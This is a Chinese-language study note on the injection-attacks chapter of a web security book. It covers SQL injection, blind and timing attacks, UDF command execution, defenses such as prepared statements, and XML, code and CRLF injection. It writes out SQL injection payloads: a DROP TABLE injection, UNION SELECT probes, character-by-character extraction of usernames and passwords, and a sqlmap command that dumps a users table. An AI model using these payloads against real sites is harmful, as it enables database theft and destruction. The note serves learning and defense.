1. 程式人生 > >讀書筆記-白帽子講web安全-注入攻擊

讀書筆記-白帽子講web安全-注入攻擊

1,sql注入

原本sql語句為:

select * from ordersTables where shipcity = 'Beijing'

插入惡意語句:

select * from ordersTables where shipcity = 'Beijing';drop table  ordersTables--'

注入攻擊的兩個條件:

  • 使用者能夠控制資料的輸入
  • 原本要執行的程式碼,拼接了使用者的輸入

注意錯誤回顯

(1)盲注(blind injection)

web關閉了錯誤回顯,在伺服器沒有錯誤回顯時完成的注入攻擊。

(2)timing attack

2,資料庫攻擊技巧

(1)常見的攻擊技巧

猜解出資料庫的對應版本,如果mysql版本是4,返回true

http://www.site.com/news.php?id=5  and  substring(@@version,1,1)=4

用union select 來分別確認表名admin是否存在,列名passwd是否存在

id=5 union all select 1,2,3 from admin

id=5 union all select 1,2,passwd from admin

進一步,想要猜解出username 和 password具體的值

id=5 and ascii (substring ( ( select concat (username,0x3a,passwd) from users limit 0,1),1,1))>64 /*ret true)*/

id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users  limit 0,1),1,1) >96 /*ret true*/

id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users  limit 0,1),1,1) >100 /*ret true*/

id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users  limit 0,1),1,1) >97 /*ret true*/

id=5 and ascii(substring ( ( select concat(username,0x3a,passwd) from users  limit 0,1),1,1) >64 /*ret true*/

...

用sqlmap工具

python sqlmap.py -u "http://xxxx.com/xxx/get_int.php?id=1" --dump -T users

(2)命令執行

利用“使用者自定義函式”的技巧,即UDF來執行命令。

(3)攻擊儲存過程

(4)編碼問題

(5)sql column truncation

3,正確防禦sql注入

(1)使用預編譯語句

(2)使用儲存過程

(3)檢查資料型別

(4)使用安全函式

4,其他注入攻擊

(1)xml注入

(2)程式碼注入

(3)CRLF注入